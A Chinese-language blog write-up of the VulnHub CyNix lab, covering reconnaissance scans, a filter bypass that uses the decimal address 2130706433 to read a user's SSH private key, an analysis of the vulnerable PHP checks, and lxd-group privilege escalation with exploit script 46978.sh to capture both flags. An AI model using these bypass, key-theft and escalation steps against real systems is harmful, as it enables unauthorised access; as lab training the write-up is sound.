vulnhub靶场CyNix

0x000 靶场描述


级别:中级
描述: 这是一台 Boot2Root 机器。该机器与VirtualBox兼容,DHCP 将自动分配一个 IP。您必须查找并读取两个flag(user和root),它们分别存在于user.txt和root.txt中。


0x001 靶场下载


https://www.vulnhub.com/entry/cynix-1,394/


0x002 信息收集


探测存活主机

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -A -p 1-65535 192.168.1.101

目录扫描

dirsearch -u http://192.168.1.101 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt


0x003 漏洞利用


查找并分析漏洞

http://192.168.1.101/lavalamp/

使用burpsuite抓包,发现跳转到/lavalamp/canyoubypassme.php页面,访问 http://192.168.1.101/lavalamp/canyoubypassme.php

查看源代码,发现这个页面会弹出来一个框。。。查找这个框在什么地方

经过在图片上一顿乱点之后,出现了如下界面。

如果找不到输入框把源码保存下来去掉图片修改提交 url 提交也可以。或者直接抓包和构造提交也行。

本地文件读取漏洞

https://rixx.de/blog/fun-legacy-ip-addresses/

2130706433 转换为ip:127.0.0.1

利用本地文件读取漏洞读取/home/ford/.ssh/id_rsa文件,从而ssh远程登陆。

ssh远程登陆

本地新建id_rsa文件,并将读取到的内容复制到文件里面,然后设置权限
chmod 600 id_rsa
ssh -i id_rsa ford@192.168.1.101 -p 6688

分析canyoubypassme.php源代码

首先会strstr(strtolower($file), 'localhost') == true || strstr($file, '127.0.0.1') == true || strstr($file, '2130706433') == true || strstr($file, '[::]:80') == true) && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)通过这里判断传入的参数,结果为false时会来到这里

strstr($file, 'localhost') == false && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)进行第二次判断

当第二次判断的结果为false时,会来到这里进行最后一次判断(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//")

当上面三次判断通过后,来来到这里file_get_contents("/tmp/".$file)执行,并将执行的结果显示到页面。


0x004 提权


lxd提权

使用命令id查看当前用户权限。发现隶属于lxd组,因此可以使用lxd提权。

LXC全名Linux Container,就是一种虚拟化的容器技术,可以创建和操作系统接近的环境,但又不需要单独用到内核资源。
LXD全称Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作。

将提权用的工具通过wget命令下载到目标机

./46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz 执行命令成功获取到root权限


0x005 查找flag


cat /mnt/root/home/ford/user.txt
cat /mnt/root/root/root.txt

posted @ 2022-11-17 21:49  Cx330Lm  阅读(33)  评论(0编辑  收藏  举报